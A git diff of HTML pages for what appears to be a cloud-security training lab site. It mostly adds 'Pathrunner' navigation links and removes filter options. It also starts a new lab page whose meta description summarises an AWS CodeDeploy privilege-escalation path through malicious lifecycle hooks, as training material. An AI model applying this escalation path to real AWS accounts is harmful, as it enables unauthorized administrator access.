-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/codebuild-001/index.html b/docs/labs/codebuild-001/index.html
index 42930667..46ec3a80 100644
--- a/docs/labs/codebuild-001/index.html
+++ b/docs/labs/codebuild-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/codebuild-002/index.html b/docs/labs/codebuild-002/index.html
index 604c3fc2..bba0583d 100644
--- a/docs/labs/codebuild-002/index.html
+++ b/docs/labs/codebuild-002/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/codebuild-003/index.html b/docs/labs/codebuild-003/index.html
index 906c7acb..3cf32823 100644
--- a/docs/labs/codebuild-003/index.html
+++ b/docs/labs/codebuild-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/codebuild-004/index.html b/docs/labs/codebuild-004/index.html
index 58fbb647..cb3e16b0 100644
--- a/docs/labs/codebuild-004/index.html
+++ b/docs/labs/codebuild-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/codedeploy-001/index.html b/docs/labs/codedeploy-001/index.html
new file mode 100644
index 00000000..dc9b3cad
--- /dev/null
+++ b/docs/labs/codedeploy-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS CodeDeploy CreateDeployment to Admin via Existing Admin EC2 Instance Profile - pathfinding.cloud Labs</title>
+    <meta name="description" content="Principal with codedeploy:CreateDeployment can escalate privileges by deploying a malicious revision whose lifecycle hooks execute as the target EC2 instance&#x27;s admin instance profile">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/codedeploy-001/">
+    <meta property="og:title" content="AWS CodeDeploy CreateDeployment to Admin via Existing Admin EC2 Instance Profile - pathfinding.cloud Labs">
+    <meta property="og:description" content="Principal with codedeploy:CreateDeployment can escalate privileges by deploying a malicious revision whose lifecycle hooks execute as the target EC2 instance&#x27;s admin instance profile">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS CodeDeploy CreateDeployment to Admin via Existing Admin EC2 Instance Profile - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Principal with codedeploy:CreateDeployment can escalate privileges by deploying a malicious revision whose lifecycle hooks execute as the target EC2 instance&#x27;s admin instance profile">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
